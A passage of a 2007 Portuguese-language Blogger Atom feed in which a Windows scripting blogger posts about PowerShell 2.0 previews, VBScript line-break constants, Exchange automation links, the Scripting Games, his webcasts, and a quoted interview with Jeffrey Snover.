&lt;a href="http://welingtonlima.spaces.live.com/blog/cns!B5CDE85B04A57348!207.entry"&gt;http://welingtonlima.spaces.live.com/blog/cns!B5CDE85B04A57348!207.entry&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6660507654929126803?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6660507654929126803/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6660507654929126803&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6660507654929126803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6660507654929126803'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/script-para-assistncia-remota.html' title='Script para Assistência Remota'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7980903250574234247</id><published>2007-11-08T09:30:00.001-02:00</published><updated>2007-11-08T09:30:41.991-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><title type='text'>VbCrLf, VbCr e VbLf</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;recentemente vi uma pergunta interessante no fórum de scripts do Technet Brasil. Tratava, dentre outras coisas, de assinaturas no Outlook.&lt;/p&gt; &lt;p&gt;Para responder a pergunta, tive que usar um conhecimento curioso: as constantes VbCrLf, VbCr e VbLf. Em C/C++ eles correspondem aos caracteres \r\n, \r e \n.&lt;/p&gt; &lt;p&gt;A primeira boa parte do pessoal conhece. As outras duas, nem tanto. Elas correspondem aos caracteres especiais Retorno de Carro e Quebra de Linha. O Windows usa por padrão os dois para indicar um Enter, mas outros sistemas operacionais não. Isso costuma gerar pequenos problemas de incompatibilidade.&lt;/p&gt; &lt;p&gt;Mais info na Wikipédia: &lt;a title="http://en.wikipedia.org/wiki/Line_feed" href="http://en.wikipedia.org/wiki/Line_feed"&gt;http://en.wikipedia.org/wiki/Line_feed&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Até mais!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7980903250574234247?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7980903250574234247/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7980903250574234247&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7980903250574234247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7980903250574234247'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/vbcrlf-vbcr-e-vblf.html' title='VbCrLf, VbCr e VbLf'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-4503763327602555955</id><published>2007-11-08T01:09:00.001-02:00</published><updated>2007-11-08T01:09:39.488-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>PowerShell 2.0 CTP</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=60deac2b-975b-41e6-9fa0-c2fd6aa6bc89&amp;amp;displaylang=en"&gt;saiu hoje o Community Technology Preview&lt;/a&gt; (que pode ser considerado algo como um pré-beta) do PowerShell 2.0. Ele pode ser obtido gratuitamente aqui.&lt;/p&gt; &lt;p&gt;Dentre as principais novidades anunciadas, estão o PowerShell Remoting, que permite executar comandos remotamente com facilidade; debug nativo de scripts e cmdlets; mais 3 comandos relacionados ao WMI (esses sim são legais =) ); e um editor gráfico para scripts. &lt;/p&gt; &lt;p&gt;Outro ponto que foi prometido foi uma certa melhoria de velocidade. Eu citei reportei dois problemas de velocidade tempos atrás, e uma sugestão de mudança para o comando get-ChildItem (também conhecido como o bom e velho DIR). Estou baixando o CTP nesse exato momento para testar se fui atendido e colocarei meus testes depois.&lt;/p&gt; &lt;p&gt;Mais uma vez, sugiro aos que não baixaram ainda nenhuma das versões do PowerShell, que baixe e aprenda o mais rápido possível. É o futuro da automação dos recursos no Windows. Se você não quer ficar para trás, aprenda o quanto antes!&lt;/p&gt; &lt;p&gt;Por hoje, é isso.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Happy downloading!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-4503763327602555955?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/4503763327602555955/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=4503763327602555955&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4503763327602555955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/4503763327602555955'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/powershell-20-ctp_08.html' title='PowerShell 2.0 CTP'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-9184854385674886384</id><published>2007-11-05T11:13:00.001-02:00</published><updated>2007-11-05T11:13:17.993-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scriptcenter'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting games'/><title type='text'>2008 Scripting Games: Technet ScriptCenter</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;A equipe do ScriptCenter na Microsoft &lt;a href="http://www.microsoft.com/technet/scriptcenter/funzone/games/default.mspx"&gt;estará organizando em breve a terceira edição dos "Scripting Games"&lt;/a&gt;. Trata-se de uma competição em que cada competidor deve resolver um problema usando ferramentas de scripting (no ano passado, foram VBScript e Windows PowerShell). &lt;/p&gt; &lt;p&gt;Não se trata de um campeonato nos mesmos moldes da &lt;a href="http://olimpiada.ic.unicamp.br/"&gt;OBI&lt;/a&gt; ou dos problemas do UVA, mas é bem divertido e ótimo para quem quer aprender um pouco mais sobre como controlar o Windows somente com scripts, PowerShell e prompt de comandos. Ao menos no ano passado, havia quatro categorias: PowerShell (Avançado e Iniciante) e VBScript (Avançado e Iniciante). Tem pra todo mundo!&lt;/p&gt; &lt;p&gt;Eu vou participar. E recomendo =)&lt;/p&gt; &lt;p&gt;Até logo!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-9184854385674886384?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/9184854385674886384/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=9184854385674886384&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9184854385674886384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/9184854385674886384'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/2008-scripting-games-technet.html' title='2008 Scripting Games: Technet ScriptCenter'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2023209031110029854</id><published>2007-11-03T11:57:00.001-02:00</published><updated>2007-11-03T11:57:44.293-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='WinRM'/><title type='text'>Powershell 2.0 CTP</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;&lt;a href="http://blogs.msdn.com/powershell/archive/2007/11/02/ctp-watch-this-space.aspx"&gt;Saiu no blog oficial do time do Powershell mais uma série de posts sobre a próxima versão do Powershell&lt;/a&gt;. Resolvi colocar aqui o que eu achei de mais interessante e relevante nessa nova versão:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Note que estas informações não são definitivas, e tem grandes chances de mudar até o final.&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Powershell 2 é compatível com o 1.1. Nenhum script nem cmdlet precisará ser reescrito.&lt;/li&gt; &lt;li&gt;Extensões continuarão a ser .PS1 (ao menos no CTP. Acredito que isso vá mudar até a versão final)&lt;/li&gt; &lt;li&gt;Rodará nas versões 32 e 64 bits do Windows XP SP2, Windows Server 2003 SP2, Windows Vista e Vista SP1 e Windows Server 2008. O detalhe está no fato dele &lt;strong&gt;exigir &lt;/strong&gt;o WinRM (implementação da Microsoft para o WS-Management) instalado. Pra quem não sabe, é uma das novas ferramentas para administração de redes. Na prática, é um protocolo baseado em SOAP que permite gerenciar sistemas operacionai&lt;strong&gt;s&lt;/strong&gt; local ou remotamente. Note o S no final: Windows, Linux e todos os outros que implementarem o protocolo. Eu vou escrever sobre WinRM aqui ainda, é bem legal e vale a pena aprender.&lt;/li&gt; &lt;ul&gt; &lt;li&gt;Ainda sobre o WinRM: o Powershell 2 exige o WinRM instalado. Ele não vem por padrão no Windows XP, nem no 2003 nem no Vista. Que eu me lembre, somente o 2008 vem por padrão e o&amp;nbsp;2003 R2 vem como uma opção do Adicionar/Remover Programas. Isso pode dificultar um pouco o uso dele em grande escala. Isso me permite concluir uma coisa: WMI não está morto, e vai ser útil (e a única saída para alguns problemas) durante um bom tempo.&lt;/li&gt;&lt;/ul&gt; &lt;li&gt;Com o Powershell Remoting, as operações remotas ficam muito mais fáceis. Vi umas demos na Internet e não tive tempo de testar ainda, mas ficou mais tranquilo do que já era fazer uma operação em vários computadores (como por exemplo, varrer a rede e ver quais computadores têm mais de 512 Mb de RAM).&lt;/li&gt; &lt;li&gt;Até onde eu sei, alguns problemas de performance foram corrigidos. Eu mesmo encontrei duas coisas que não eram muito velozes no Powershell meses atrás: o problema da chamada de função e o problema da listagem de atributos de arquivo. Até o grande Jeffrey Snover, gerente de projeto do&amp;nbsp;PowerShell. apareceu por aqui =).&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Bom, agora é esperar. E quando sair, vou escrever aqui para manter todos informados.&lt;/p&gt; &lt;p&gt;Até a próxima!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2023209031110029854?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2023209031110029854/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2023209031110029854&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2023209031110029854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2023209031110029854'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/powershell-20-ctp.html' title='Powershell 2.0 CTP'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3467552377139319940</id><published>2007-09-24T08:24:00.001-03:00</published><updated>2007-09-24T08:41:27.035-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='webcast'/><title type='text'>Webcast sobre Powershell amanhã</title><content type='html'>&lt;p&gt;Outra notícia muito importante! Estarei ministrando um webcast sobre PowerShell, Scripting e melhorias para administração no Windows Server 2008 amanhã, ao meio dia, no ciclo de webcasts do site TechNet Brasil. Quem gostar ou simplesmente quiser me ver online, pode entrar &lt;a href="http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032348375&amp;amp;Culture=pt-BR"&gt;aqui&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3467552377139319940?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3467552377139319940/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3467552377139319940&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3467552377139319940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3467552377139319940'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/09/webcast-sobre-powershell-amanh.html' title='Webcast sobre Powershell amanhã'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-3183121917133230456</id><published>2007-09-24T08:20:00.001-03:00</published><updated>2007-09-24T08:20:57.484-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>PowerShell 2.0: algumas notícias</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;estou, mais uma vez, afastado do meu blog nos últimos dias. O motivo, claro, são minha agenda. Estou envolvido mais uma vez na organização da &lt;a href="http://pet.icmc.usp.br/semcomp"&gt;10ª Semana da Computação&lt;/a&gt; (aka &lt;a href="http://pet.icmc.usp.br/semcomp"&gt;Semcomp&lt;/a&gt;) do ICMC, na USP de São Carlos. Ao contrário do ano passado, em que fui presidente da comissão, este ano estou trabalhando somente com o site do evento, além de negociar alguns contatos com patrocinadores e palestrantes.&lt;/p&gt; &lt;p&gt;Mas vim aqui para falar de outra coisa: PowerShell 2.0. Jeffrey Snover, PM do time do PowerShell, deu uma entrevista no site &lt;a href="http://searchwinit.techtarget.com/originalContent/0,289142,sid1_gci1270125,00.html"&gt;WinIT.com&lt;/a&gt; sobre o que vem na versão 2.0. Já é conhecido que uma das coisas que será alterada para a versão 2.0 era a questão da velocidade, que comentei aqui mesmo vários meses atrás. O PowerShell pode ficar incrivelmente lento se você fizer alguma coisa errada (como por exemplo carregar um arquivo de log com alguns gigabytes em uma variável). Veja, na íntegra, a entrevista dele. Você pode ler também a entrevista &lt;a href="http://searchwinit.techtarget.com/originalContent/0,289142,sid1_gci1270125,00.html"&gt;e mais um monte de coisas legais no próprio site do WinIT.com&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;i&gt;Since TechEd in June, 300,000 more IT shops have downloaded command line scripting language PowerShell, bringing the total to 1.3 million downloads in the last nine months. Small IT shops to large enterprises are using PowerShell to cut hundreds of lines of code down to a single command line. As a result, IT managers are becoming more productive. They are able to complete in a matter of minutes administration tasks that used to take them hours.&lt;/i&gt; &lt;p&gt;&lt;i&gt;Jeffrey Snover, the creator of PowerShell and a Windows Partner Architect at Microsoft, spoke with SearchWinIT.com recently about the scripting language's potential to save time and cut tasks, new third-party tools that use PowerShell and some features that IT shops can expect in the next version, PowerShell 2.0.&lt;/i&gt; &lt;p&gt;&lt;b&gt;SearchWinIT.com: What's next for PowerShell?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Jeffrey Snover:&lt;/b&gt; We've been pretty up front that the need of IT admins is [for remotely administering machines]. It's a new model for [remote management] to 10 machines, 100 machines, maybe even 5,000 machines. So basically, 'remoting' will be built into the heart of the PowerShell engine and then exposed as a set of language features and commands versus 'remoting' being done as a bolt-on afterthought. People who in the past were intimidated by 'remoting' or found it difficult will find this simple. &lt;p&gt;&lt;b&gt;What are some examples of how IT shops are using PowerShell?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; When I was at TechEd, a guy came up to me and said he replaced his 481-line Visual Basic script with a single PowerShell line. He did a hardware inventory across multiple machines and generated a report with a single PowerShell line of code. The reason why is because with PowerShell you get a set of objects, pipe it out to HTML and, voilà, you've got an HTML report. &lt;p&gt;Another customer came in and brought their scripts with them, and we rewrote their VB script to PowerShell. One of their VB scripts was 750 lines of code, and we replaced it with a 15-line PowerShell script.  &lt;p&gt;&lt;b&gt;Can you give me an example of a tool in PowerShell that will make a real difference for an IT shop?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; The ability to compare objects. You can get a set of objects that are stored in Excel, XML, a database or your hardware configuration as it exists right now. Then using a single line of code, you can compare the objects in those forms against the current running objects that show the difference [between the two]. So I've got a set of XML files that take snapshots of when the system is working. Then I compare them against the current state and show you all the processes that were created since then or used to exist but don't exist now. And you do that with a single line of code. Taking it to another level, you can take the working set and round it to two megabytes and say 'Only show me the working set having changed if it changed by more than two megabytes.' That's incredibly powerful to do with a single-line command. &lt;p&gt;&lt;b&gt;Some say that learning PowerShell is easy, some say it's not. What is the learning curve?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; IT guys, their hair is on fire. If something doesn't look like a bucket of water, they're not going to address it. That's why Exchange 2007, VMM [Virtual Machine Manager], Desktop Protection Manager have admin GUIs layered on top of PowerShell. So an IT admin can be using PowerShell and not even know it. But, at some point, they may say this GUI doesn't do quite what I want, and they're going to notice that each of these products allows them to see the command-line equivalent for the operation they just did. They can take that command-line equivalent and cut and paste it into a line or into a file and modify it to meet exactly their needs. PowerShell can be the simplest scripting tool out there like Bash in the Unix world, or it can be a very sophisticated tool for the IT guy running the Federal Reserve.  &lt;p&gt;&lt;b&gt;What kind of third-party development are you seeing around PowerShell?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; In some cases, there are people producing PowerShell commands and then making them available so that PowerShell can manage their products. The second is hosting tools. PowerShell is an interactive shell, but that's just one of the hosts. PowerShell is also an embeddable engine like a library that you can plug into anything. There are folks like PowerGui.org. They wrote a GUI that allows people to take commands and expose them as graphical elements in a GUI. Another is PowerShell Analyzer, which is modeled after SQL Query Analyzer, where they've got this Interactive Development Environment, but you have syntax coloring. You can select portions of your script and execute them, or you can execute your whole script. Then you've got PrimalScript, the number one VB scripting IDE, that has PowerShell support as well. &lt;p&gt;&lt;b&gt;Any well-known application vendors jumping on board?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; We've had quite a few discussions with companies that are doing PowerShell work but aren't public with that yet. With these vendors, we're taking their product as is and then loading in PowerShell and being able to do extensions to make their applications scriptable through PowerShell. You'll have heard of these vendors and [those announcements] will probably be made by early next year I think. &lt;p&gt;&lt;b&gt;Microsoft has said that all of the admin GUIs in its products would be based on PowerShell by 2009. Where does that stand?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; All the products will have PowerShell available. Whether or not [the product teams] will have converted over their user interface layer on top of that is up to them. That's not required in the 2009 time frame. A bunch of [Microsoft product teams] are doing it, though. It really comes down to the question of were they planning a major rewrite of their GUI. &lt;p&gt;&lt;b&gt;Where can IT professionals get trained? What resources are available?&lt;/b&gt; &lt;p&gt;&lt;b&gt;Snover:&lt;/b&gt; We underestimated the rate of PowerShell adoption and, therefore, the need for training. We knew books would be an important element, so we worked hard with the book vendors, and there are 11 books and another five coming on board. A lot of people are getting trained that way. We also have a number of external partners doing training like Sapien, Desktop Engineering, Ameritech; and Global Knowledge just licensed Sapien's training. There's also a bunch of Microsoft field organizations providing training for the customers they support. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-3183121917133230456?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/3183121917133230456/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=3183121917133230456&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3183121917133230456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/3183121917133230456'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/09/powershell-20-algumas-notcias.html' title='PowerShell 2.0: algumas notícias'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2081633387540116156</id><published>2007-09-08T02:20:00.001-03:00</published><updated>2007-09-08T02:20:52.556-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exchange'/><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><category scheme='http://www.blogger.com/atom/ns#' term='windows script host'/><title type='text'>Exchange via Script</title><content type='html'>&lt;p&gt;Um dos sistemas mais importantes da MS é o Exchange. O que pouca gente sabe é que ele também é um dos que mais podem ser automatizados. &lt;/p&gt; &lt;p&gt;O que significa, na cabeça do Vinicius, "poder ser automatizado" e porque o Exchange é um dos programas que mais podem fazer isso? Bom, essa é uma definição minha, nada séria ou oficial.&lt;/p&gt; &lt;p&gt;Ao menos pra mim, "poder ser automatizado" é a capacidade que um sistema tem de ser instalado, administrado e configurado usando técnicas para automação de tarefas como scripts, linha de comando, diretivas de grupo, etc. Essa característica é boa para se ter uma noção de qual software é bom para ser implantado em grandes ambientes. O motivo é simples: ambientes grandes normalmente são administrados usando essas técnicas para automação devido ao pouco tempo que os administradores possuem para cada recurso administrado. Além disso, sistemas que suportam bem a automação podem ser administrados por um número menor de pessoas, o que, no final, gera uma maior economia para a empresa.&lt;/p&gt; &lt;p&gt;Bom, onde entra o Exchange? Não sei dizer bem&amp;nbsp;o porque, mas o Exchange é um dos sistemas da MS que mais tem suporte à scripting. Além da interface gráfica, ele possui também acesso via WMI, uma API para criação de ferramentas e, agora, Windows Powershell. Aliás, foi&amp;nbsp;o primeiro sistema a criar, usando a API do Powershell, um prompt de comandos com cmdlets específicos.&lt;/p&gt; &lt;p&gt;Bom, para quem gosta de Exchange e quer aprender sobre scripting, encontrei 3 links interessantes que demonstram algumas tarefas usando VBScript e WMI.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="http://www.microsoft.com/technet/scriptcenter/topics/exchange/ex03_wmi1.mspx"&gt;Managing Exchange 2003 with WMI, Part 1&lt;/a&gt; &lt;li&gt;&lt;a href="http://www.microsoft.com/technet/scriptcenter/topics/exchange/ex03_wmi2.mspx"&gt;Managing Exchange 2003 with WMI, Part 2&lt;/a&gt; &lt;li&gt;&lt;a href="http://www.microsoft.com/technet/scriptcenter/topics/exchange/ex03_wmi3.mspx"&gt;Managing Exchange 2003 with WMI, Part 3&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2081633387540116156?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2081633387540116156/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2081633387540116156&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2081633387540116156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2081633387540116156'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/09/exchange-via-script.html' title='Exchange via Script'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8554310200008420117</id><published>2007-09-06T00:16:00.001-03:00</published><updated>2007-09-06T00:16:58.696-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='webcast'/><category scheme='http://www.blogger.com/atom/ns#' term='Semcomp'/><title type='text'>Palestra sobre Windows Powershell</title><content type='html'>&lt;p&gt;Isso mesmo! Dia 25 de Setembro de 2007 vou ministrar mais um webcast, dessa vez sobre o Windows Powershell. Pra quem não sabe, um webcast nada mais é do que uma palestra via Internet, que pode ser assistida de qualquer &lt;strong&gt;canto&lt;/strong&gt; do mundo.&lt;/p&gt; &lt;p&gt;Minha palestra vai dar uma visão geral do Powershell, com exemplos, dicas e informações para quem tá começando. Recomendo para todo mundo que quiser saber um pouco sobre a ferramenta.&lt;/p&gt; &lt;p&gt;Além disso, foi confirmada hoje minha palestra na Semana da Computação do ICMC, na USP de São Carlos! Não vou decepcionar pessoal!&lt;/p&gt; &lt;p&gt;Segue o link do webcast&lt;/p&gt; &lt;p&gt;&lt;a href="http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032348375&amp;amp;Culture=pt-BR"&gt;http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032348375&amp;amp;Culture=pt-BR&lt;/a&gt;  &lt;p&gt;e da Semana da Computação:&lt;/p&gt; &lt;p&gt;&lt;a href="http://pet.icmc.usp.br/semcomp"&gt;http://pet.icmc.usp.br/semcomp&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Obrigado!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8554310200008420117?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8554310200008420117/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8554310200008420117&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8554310200008420117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8554310200008420117'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/09/palestra-sobre-windows-powershell.html' title='Palestra sobre Windows Powershell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
